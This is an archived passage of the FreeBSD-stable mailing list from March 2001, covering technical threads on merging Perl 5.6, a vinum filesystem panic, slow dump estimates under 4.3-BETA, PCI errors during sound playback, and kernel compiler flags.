owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:12 PM 3/15/2001 -0800, Sean Chittenden wrote: > I realize 4.3 is going to go gold in a few weeks, but would it >be reasonable to assume 4.4? What are the list of outstanding issues >for perl 5.6? > > Cancelling out of perl5.6 builds while doing a package install >in CPAN is getting a bit old... -sc Stating the obvious... just because the developer-gods have not blessed 5.6 by doing official integration does not mean you can't run it by building yourself... Yes it's nice to maintain a supported base OS install-set.... but if you *really* need it, nobody's stopping you. >-- >Sean Chittenden sean@chittenden.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:24:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id 1D19637B71A for ; Thu, 15 Mar 2001 12:24:44 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 57131 invoked by uid 1001); 15 Mar 2001 20:24:39 -0000 Date: Thu, 15 Mar 2001 12:24:39 -0800 From: Sean Chittenden To: j mckitrick Cc: stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315122439.A57101@rand.tgd.net> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010315201739.C23970@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="fUYQa+Pmc3FrFX/N" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315201739.C23970@dogma.freebsd-uk.eu.org>; from "jcm@FreeBSD-uk.eu.org" on Thu, Mar 15, 2001 at = 08:17:39PM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --fUYQa+Pmc3FrFX/N Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Agree with you 110%! At the same time, bleed perl has been out for a while and there has to be a decent list of issues or bugs, or something that could be the base for a list of issues that need to be resolved before it can be merged. I personally, have upgraded to 5.6 in a few circumstances and haven't had any problems that I've noticed (other than needing to recompile mod_perl), but somewhere someone's run across something and hopefully it's been documented (maybe even in the form of a list?). On Thu, Mar 15, 2001 at 08:17:39PM +0000, j mckitrick wrote: > [...] It just takes time. Can we put some kind of plausible bounds on the time? -sc --=20 Sean Chittenden sean@chittenden.org --fUYQa+Pmc3FrFX/N Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqxJQcACgkQn09c7x7d+q2NIgCfQCdWhquiAE+MDdGz9JSUoqUw aDEAn2snQpCntsSDcKUF9aI6q0BchMwF =a+pT -----END PGP SIGNATURE----- --fUYQa+Pmc3FrFX/N-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:46:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id D1ACA37B719 for ; Thu, 15 Mar 2001 12:46:29 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 15382 invoked by uid 0); 15 Mar 2001 20:46:28 -0000 Date: Thu, 15 Mar 2001 21:46:27 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: vinum panic (was How to debug - find error?) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <16975.984689187@www23.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello again, now I made a kernel with gdb -g. I could reproduce the panic with the newest cvsuped 4.3-beta Here what I found in messages: /kernel: dev=#vinum/0, block =11808, fs=/backup /kernel: panic: ffs_blkfree: freeing free block What elese should I look for? Thanks, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:54: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 2E17A37B718 for ; Thu, 15 Mar 2001 12:54:03 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.3/8.11.2) id f2FKrmb01056 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 15:53:48 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) (authenticated) by thehousleys.net (8.11.3/8.11.3) with ESMTP id f2FKrk901048 for ; Thu, 15 Mar 2001 15:53:46 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB12BDA.A3BA79C8@thehousleys.net> Date: Thu, 15 Mar 2001 15:53:46 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: PROBLEMS with 4.3-BETA and dump -- UPDATED Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A couple of days ago, after I started tracking 4.3 release canidates, my "main" machine started failing to backup with amanda. Amanda runs on that machine as the server. But it was failing from timeout on estimate. The first thing I did was backup the "inherite nodump flag", but that made no change. Most mornings I have been updating my CVS tree at about 5:30 EST. On a build from March 14: dump 0hsf 0 1048576 - /dev/ad0s1f took 38 minutes to reach the point for the "DUMP: estimate ......." message. This morning I did: cvs -q update -rRELENG_4 -D "16 days ago" make world kernel reboot dump 0hsf 0 1048576 - /dev/ad0s1f took 9 seconds to reach the point for the "DUMP: estimate ...... " message Right now I am in the middle of a build world from: cvs -q update -rRELENG_4 -D "8 days ago" make world kernel reboot dump 0hsf 0 1048576 - /dev/ad0s1f is at 5 minutes and running. I will next do a "cvs -q update -rRELENG_4 -D "12 days ago"" to narrow it down once more and then check the number of commits in that timeframe. Anyone have an idea which subsystem might be causing this? I will keep more post as I narrow the date down. Jim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:12:12 2001 Delivered-To: freebsd-stable@freebsd.org Received: from erouter1.it-datacntr.louisville.edu (erouter1.it-datacntr.louisville.edu [136.165.1.15]) by hub.freebsd.org (Postfix) with ESMTP id CD2F937B718 for ; Thu, 15 Mar 2001 13:12:09 -0800 (PST) (envelope-from keith.stevenson@louisville.edu) Received: from osaka.louisville.edu (osaka.louisville.edu [136.165.1.114]) by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 3593B23525; Thu, 15 Mar 2001 16:12:04 -0500 (EST) Received: by osaka.louisville.edu (Postfix, from userid 15) id 92FAB18613; Thu, 15 Mar 2001 16:11:58 -0500 (EST) Date: Thu, 15 Mar 2001 16:11:58 -0500 From: Keith Stevenson To: Sean Chittenden Cc: freebsd-stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315161158.A7645@osaka.louisville.edu> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315121201.E54243@rand.tgd.net>; from sean-freebsd-stable@chittenden.org on Thu, Mar 15, 2001 at 12:12:01PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Issue #1 (which is a show-stopper) ---------------------------------- The perl build process is almost 100% incompatible with FreeBSD's buildworld. To even begin to consider upgrading FreeBSD's perl to v5.6, someone needs to port the build to work with bmake and fit nicely within FreeBSD's buildworld. This requires a fair level of understanding with both bmake and perl's build process. Several months ago, I spent almost 2 weeks trying to make this work. I eventually threw my hands into the air and walked away. This is not a trivial exercise. Once someone has demonstrated how to build perl5.6 in the context of the world, I'm sure that things will proceed much more quickly. Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville keith.stevenson@louisville.edu GPG key fingerprint = 332D 97F0 6321 F00F 8EE7 2D44 00D8 F384 75BB 89AE On Thu, Mar 15, 2001 at 12:12:01PM -0800, Sean Chittenden wrote: > I realize 4.3 is going to go gold in a few weeks, but would it > be reasonable to assume 4.4? What are the list of outstanding issues > for perl 5.6? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:13: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from postal.incyte.com (postal.incyte.com [198.31.37.2]) by hub.freebsd.org (Postfix) with ESMTP id 764EB37B71A for ; Thu, 15 Mar 2001 13:12:47 -0800 (PST) (envelope-from bl@incyte.com) Received: from blah.incyte.com (blah.incyte.com [10.99.1.40]) by postal.incyte.com (8.11.1/8.11.1) with ESMTP id f2FLCkT04889 for ; Thu, 15 Mar 2001 13:12:46 -0800 (PST) Received: from blah.incyte.com (bl@localhost) by blah.incyte.com (8.9.1a/8.9.1) with ESMTP id NAA109052 for ; Thu, 15 Mar 2001 13:12:47 -0800 (PST) Message-Id: <200103152112.NAA109052@blah.incyte.com> X-Authentication-Warning: blah.incyte.com: bl owned process doing -bs To: freebsd-stable@freebsd.org Subject: Re: 4.3-beta spits PCI errors when sound file played (sound from cd ok) In-Reply-To: Your message of "Wed, 14 Mar 2001 17:36:21 PST." <200103150136.RAA106453@blah.incyte.com> Date: Thu, 15 Mar 2001 13:12:46 -0800 From: "Brett G. Lemoine" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For what it's worth, I'm getting the same errors with the eval version of the OSS sound driver. Is anyone successfully using the on-board sound chip on a Tylan Thunderbolt motherboard? If not, is anyone successfully using an added sound-card with it? It'd sure be nice to be able to listen to my cd collection without having to plop a new cd in every hour or so.... thanks, bl > > I've a -stable system, updated as of this morning, that's spewing errors > when I play an mp3 file from disk. > > Mar 14 18:36:00 blur /kernel: ahc1: PCI error Interrupt at seqaddr = 0x9 > Mar 14 18:36:00 blur /kernel: ahc1: Data Parity Error Detected during address > or > write data phase > Mar 14 18:36:00 blur /kernel: ahc0: PCI error Interrupt at seqaddr = 0x9 > Mar 14 18:36:00 blur /kernel: ahc0: Data Parity Error Detected during address > or > write data phase > Mar 14 18:36:00 blur /kernel: ahc1: PCI error Interrupt at seqaddr = 0x9 > Mar 14 18:36:00 blur /kernel: ahc1: Data Parity Error Detected during address > or > write data phase > Mar 14 18:36:00 blur /kernel: ahc0: PCI error Interrupt at seqaddr = 0x8 > Mar 14 18:36:00 blur /kernel: ahc0: Data Parity Error Detected during address > or > write data phase > [...] and so-on for a few hundred lines. > > I'll admit that this is _far_ better than what 4.2-stable was doing, > which was crashing with something like: > > (da1:ahc0:0:1:0): Invalidating pack > (da1:ahc0:0:1:0): SCB 0x1d - timed out while idle, SEQADDR == 0x5 > STACK == 0x13, 0x174, 0x15e, 0x174 > SXFRCTL0 == 0x80 > SCB count = 110 > QINFIFO entries: 34 18 46 1 19 31 52 20 33 9 3 67 57 45 0 30 54 22 50 40 23 8 > 36 > 2 32 44 35 5 17 11 28 10 101 15 51 26 6 > Waiting Queue entries: 11:66 > Disconnected Queue entries: 17:39 27:29 > QOUTFIFO entries: > Sequencer Free SCB List: 20 2 0 28 14 10 29 31 15 24 > 7 19 6 23 18 21 12 26 13 22 4 30 9 3 16 8 25 1 5 > Pending list: 6 26 51 15 101 10 28 11 17 5 35 44 32 > 2 36 8 23 40 50 22 54 30 0 45 57 67 3 9 33 20 52 31 19 1 46 18 34 66 39 29 > Kernel Free SCB list: 24 58 25 47 59 55 27 42 4 49 3 > 8 37 43 21 41 53 48 16 12 69 56 68 13 83 14 82 81 80 99 98 97 96 95 94 93 92 > 91 > 90 > 109 108 107 106 105 104 103 102 65 84 85 86 87 88 89 70 71 72 73 74 75 76 77 > 78 > 7 > 9 60 61 62 63 64 100 > sg[0] - Addr 0x1a608800 : Length 1024 > (da1:ahc0:0:1:0): SCB 29: Immediate reset. Flags = > 0x4040 > (da1:ahc0:0:1:0): no longer in timeout, status = 34b > ahc0: Issued Channel A Bus Reset. 40 SCBs aborted > > > My current kernel is GENERIC v1.246.2.23 (2001/03/07) with 'device pcm' > tacked on. > > My dmesg is below. Any ideas? Is there anything else I could do > to help pin this thing down? > > It's not a _simple_ conflict, since I can play cd's direct out the > sound driver without any problems. It's just when I play an mp3 or > wav off of disk. Weird. > > > > Copyright (c) 1992-2001 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. > FreeBSD 4.3-BETA #0: Wed Mar 14 18:08:30 CST 2001 > root@blur.unixshaman.com:/usr/src/sys/compile/GENSND > Timecounter "i8254" frequency 1193182 Hz > CPU: Pentium III/Pentium III Xeon/Celeron (751.71-MHz 686-class CPU) > Origin = "GenuineIntel" Id = 0x681 Stepping = 1 > Features=0x383fbff ,CMOV,PAT,PSE36,MMX,FXSR,SSE> > real memory = 1073741824 (1048576K bytes) > config> di sn0 > config> di lnc0 > config> di ie0 > config> di fe0 > config> di ed0 > config> di cs0 > config> di bt0 > config> di aic0 > config> di aha0 > config> di adv0 > config> q > avail memory = 1041117184 (1016716K bytes) > Preloaded elf kernel "kernel" at 0xc049c000. > Preloaded userconfig_script "/boot/kernel.conf" at 0xc049c09c. > Pentium Pro MTRR support enabled > md0: Malloc disk > npx0: on motherboard > npx0: INT 16 interface > pcib0: on motherboard > pci0: on pcib0 > pcib2: at device 1.0 on pci0 > pci1: on pcib2 > pcib3: at device 1.0 on pci1 > pci2: on pcib3 > pci2: at 1.0 > pci2: at 2.0 > pci2: at 3.0 > pci2: at 4.0 > isab0: at device 7.0 on pci0 > isa0: on isab0 > atapci0: port 0xffa0-0xffaf at device 7.1 on p > ci0 > ata0: at 0x1f0 irq 14 on atapci0 > ata1: at 0x170 irq 15 on atapci0 > uhci0: port 0xef80-0xef9f irq 11 at > device 7.2 on pci0 > usb0: on uhci0 > usb0: USB revision 1.0 > uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 > uhub0: 2 ports with 2 removable, self powered > chip1: port 0x440-0x44f at device > 7.3 on pci0 > ahc0: port 0xe400-0xe4ff mem 0xfebfe > 000-0xfebfefff irq 10 at device 11.0 on pci0 > aic7896/97: Wide Channel A, SCSI Id=7, 32/255 SCBs > ahc1: port 0xe800-0xe8ff mem 0xfebff > 000-0xfebfffff irq 10 at device 11.1 on pci0 > aic7896/97: Wide Channel B, SCSI Id=7, 32/255 SCBs > pcm0: port 0xef00-0xef3f irq 9 at device 12.0 on pci0 > fxp0: port 0xee80-0xeebf mem 0xfea00000-0xf > eafffff,0xfebfd000-0xfebfdfff irq 11 at device 13.0 on pci0 > fxp0: Ethernet address 00:e0:81:10:c9:0e > fxp1: port 0xed80-0xedbf mem 0xfe800000-0xf > e8fffff,0xfebfc000-0xfebfcfff irq 5 at device 17.0 on pci0 > fxp1: Ethernet address 00:d0:b7:73:39:03 > pcib1: on motherboard > pci3: on pcib1 > fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 > fdc0: FIFO enabled, 8 bytes threshold > fd0: <1440-KB 3.5" drive> on fdc0 drive 0 > atkbdc0: at port 0x60,0x64 on isa0 > atkbd0: flags 0x1 irq 1 on atkbdc0 > kbd0 at atkbd0 > psm0: irq 12 on atkbdc0 > psm0: model IntelliMouse, device ID 3 > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > sc0: at flags 0x100 on isa0 > sc0: VGA <16 virtual consoles, flags=0x300> > sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > sio0: type 16550A > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > sio1: type 16550A > ppc0: at port 0x378-0x37f irq 7 on isa0 > ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode > ppbus0: IEEE1284 device found /NIBBLE > Probing for PnP devices on ppbus0: > ppbus0: HP ENHANCED PCL5,PJL,POSTSCRIPT > plip0: on ppbus0 > lpt0: on ppbus0 > lpt0: Interrupt-driven port ppi0: on ppbus0 > acd0: CDROM at ata1-master using PIO4 > Waiting 15 seconds for SCSI devices to settle > Mounting root from ufs:/dev/da0s1a > da0 at ahc0 bus 0 target 0 lun 0 > da0: Fixed Direct Access SCSI-3 device > da0: 80.000MB/s transfers (40.000MHz, offset 63, 16bit), Tagged Queueing Enab > led > da0: 17501MB (35843670 512 byte sectors: 255H 63S/T 2231C) > da1 at ahc0 bus 0 target 1 lun 0 > da1: Fixed Direct Access SCSI-3 device > da1: 80.000MB/s transfers (40.000MHz, offset 63, 16bit), Tagged Queueing Enab > led > da1: 17501MB (35843670 512 byte sectors: 255H 63S/T 2231C) > da2 at ahc1 bus 0 target 6 lun 0 > da2: Removable Direct Access SCSI-2 device > da2: 20.000MB/s transfers (20.000MHz, offset 15) > da2: 1911MB (3915600 512 byte sectors: 255H 63S/T 243C) > cd0 at ahc1 bus 0 target 5 lun 0 > cd0: Removable CD-ROM SCSI-2 device > cd0: 20.000MB/s transfers (20.000MHz, offset 15) > cd0: Attempt to query device size failed: NOT READY, Medium not present - tra > y closed > > -- //====== Brett G. Lemoine -=- ===============================\\ || Info. Systems Architect | Remember, SCSI is not black magic. There are || ||Core Unix System Services| fundamental technical reasons why it is || || Incyte Genomics | necessary to sacrifice a goat at midnight in || || Palo Alto, California | order to get a SCSI device working properly. || |+-------------------------+-------------------------------------------------+| \\== PGP Key Fingerprint: 68 A1 2A 2D 82 CE E9 70 5B 80 D1 11 EC F3 FB 85 ==// To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:24:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 1AD7137B719 for ; Thu, 15 Mar 2001 13:24:34 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.3/8.11.2) id f2FLOVO13792 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 16:24:31 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) (authenticated) by thehousleys.net (8.11.3/8.11.3) with ESMTP id f2FLOO913693 for ; Thu, 15 Mar 2001 16:24:24 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB13308.5E8E8703@thehousleys.net> Date: Thu, 15 Mar 2001 16:24:24 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Re: PROBLEMS with 4.3-BETA and dump -- UPDATED References: <3AB12BDA.A3BA79C8@thehousleys.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James Housley wrote: [snip] > > Anyone have an idea which subsystem might be causing this? > > I will keep more post as I narrow the date down. > It was asked if it might be the ATA_ENABLE_WC commit causeing the slowdown. That was committed on 2/25 and cvs update -rRELENG_4 -D "16 days ago" is 2/27 or 2/28 so that is not it. And write chaching should have little affect on reading, which is what is being done. Also the ata commits on 2/25 were the last commits in src/sys/dev/ata. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- PC hardware is the ductape of the computer inustry... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:36:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id 50A5A37B71C for ; Thu, 15 Mar 2001 13:36:48 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 57536 invoked by uid 1001); 15 Mar 2001 21:36:44 -0000 Date: Thu, 15 Mar 2001 13:36:44 -0800 From: Sean Chittenden To: freebsd-stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315133644.A57487@rand.tgd.net> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010315161158.A7645@osaka.louisville.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="liOOAslEiF7prFVr" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315161158.A7645@osaka.louisville.edu>; from "keith.stevenson@louisville.edu" on Thu, Mar 15, 2001 at = 04:11:58PM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 04:11:58PM -0500, Keith Stevenson wrote: > Issue #1 (which is a show-stopper) > ---------------------------------- > The perl build process is almost 100% incompatible with FreeBSD's buildwo= rld. > To even begin to consider upgrading FreeBSD's perl to v5.6, someone needs= to > port the build to work with bmake and fit nicely within FreeBSD's buildwo= rld. > This requires a fair level of understanding with both bmake and perl's bu= ild > process. I fully believe that this may be the case, but... [snip] > Once someone has demonstrated how to build perl5.6 in the context of the = world, > I'm sure that things will proceed much more quickly. I think that 5.6 is in the -current branch. Thoughts? If it really is that radically different, let me go and risk a few dozen flames and ask the guys on p5p how to reconcile the differences. -sc --=20 Sean Chittenden sean@chittenden.org --liOOAslEiF7prFVr Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqxNewACgkQn09c7x7d+q1CigCeMsurLygKb9r1+WkaiLZDLRLu hUMAnjGNPepANWSqNObgZ0YjMH3NbwUQ =84pd -----END PGP SIGNATURE----- --liOOAslEiF7prFVr-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:37: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 7280D37B719 for ; Thu, 15 Mar 2001 13:36:54 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2FLYB447164; Thu, 15 Mar 2001 13:34:11 -0800 (PST) (envelope-from dillon) Date: Thu, 15 Mar 2001 13:34:11 -0800 (PST) From: Matt Dillon Message-Id: <200103152134.f2FLYB447164@earth.backplane.com> To: Tim Zingelman Cc: Subject: Re: can't build 4.3-BETA GENERIC kernel with -g References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> NOT make.conf. :> makeoptions DEBUG="-g" : :The result is the same... : :make.conf now has: : CFLAGS= -pipe : COPTFLAGS= -pipe You can keep CFLAGS in /etc/make.conf, but I recommend removing COPTFLAGS from make.conf. Just put COPTFLAGS in the kernel config along with the DEBUG makeoption. :and I just removed the # from the line: : makeoptions DEBUG=-g :in /usr/src/sys/i386/conf/GENERIC :... :make kernel KERNCONF=GENERIC :... :cc -c -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes :-Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual :-fformat-extensions -ansi -g -nostdinc -I- -I. -I../.. -I../../../include :-D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 :-fomit-frame-pointer ../../i386/i386/atomic.c :In file included from ../../i386/i386/atomic.c:47: :machine/atomic.h: In function `atomic_set_char': :machine/atomic.h:106: inconsistent operand constraints in an `asm' :... : : - Tim The cc line has a -g in it. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 13:37:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 3E5AC37B71C for ; Thu, 15 Mar 2001 13:37:40 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2FLZA747194; Thu, 15 Mar 2001 13:35:10 -0800 (PST) (envelope-from dillon) Date: Thu, 15 Mar 2001 13:35:10 -0800 (PST) From: Matt Dillon Message-Id: <200103152135.f2FLZA747194@earth.backplane.com> To: Tim Zingelman Cc: Subject: Re: can't build 4.3-BETA GENERIC kernel with -g References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :It turns out the problem has to do with my having removed the -O from :either CFLAGS or COPTFLAGS. : :I built & installed world/kernel with -O -pipe, then later tried to make :kernel with just -pipe and it failed (with or without debug)... I guess if :I buildworld with -O I must build my kernel with -O. Is there any problem :getting info out of a crashdump if the kernel is compiled -O (along with -g) : :Now that I've restored the -O, a debug GENERIC builds just fine. I had no :idea that I could not mix -O and non -O code... sorry about that. : : - Tim You have to compile the kernel with at least -O or all the static __inline's will generate all sorts of warnings and errors. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14: 4:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mobile.hub.org (SHW12-37.accesscable.net [24.71.155.37]) by hub.freebsd.org (Postfix) with ESMTP id C380937B718 for ; Thu, 15 Mar 2001 14:04:35 -0800 (PST) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by mobile.hub.org (8.11.1/8.11.1) with ESMTP id f2FM4Hf64895; Thu, 15 Mar 2001 18:04:27 -0400 (AST) (envelope-from scrappy@hub.org) X-Authentication-Warning: mobile.hub.org: scrappy owned process doing -bs Date: Thu, 15 Mar 2001 18:04:17 -0400 (AST) From: The Hermit Hacker To: Sean Chittenden Cc: Subject: Re: Perl 5.6 merged soon? In-Reply-To: <20010315133644.A57487@rand.tgd.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Mar 2001, Sean Chittenden wrote: > > Once someone has demonstrated how to build perl5.6 in the context of the world, > > I'm sure that things will proceed much more quickly. > > I think that 5.6 is in the -current branch. Thoughts? If it > really is that radically different, let me go and risk a few dozen > flames and ask the guys on p5p how to reconcile the differences. -sc > perl -v This is perl, v5.6.0 built for i386-freebsd-thread (with 1 registered patch, see perl -V for more detail) Copyright 1987-2000, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5.0 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using `man perl' or `perldoc perl'. If you have access to the Internet, point your browser at http://www.perl.com/, the Perl Home Page. > uname -a FreeBSD thelab.hub.org 5.0-CURRENT FreeBSD 5.0-CURRENT #2: Mon Mar 12 20:57:30 AST 2001 root@thelab.hub.org:/usr/base/src/sys/compile/kernel i386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:13:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from conn.mc.mpls.visi.com (conn.mc.mpls.visi.com [208.42.156.2]) by hub.freebsd.org (Postfix) with ESMTP id DFCC037B71A for ; Thu, 15 Mar 2001 14:13:27 -0800 (PST) (envelope-from sdk@visi.com) Received: from isis.visi.com (isis.visi.com [209.98.98.8]) by conn.mc.mpls.visi.com (Postfix) with ESMTP id 9408C812A; Thu, 15 Mar 2001 16:10:36 -0600 (CST) Received: (from sdk@localhost) by isis.visi.com (8.8.8/8.8.8) id QAA15108; Thu, 15 Mar 2001 16:13:33 -0600 (CST) Date: Thu, 15 Mar 2001 16:13:33 -0600 From: Stephen To: freebsd-stable@freebsd.org Subject: 4.3-BETA2, name resolution problem? Message-ID: <20010315161333.A14337@visi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.1i Sender: 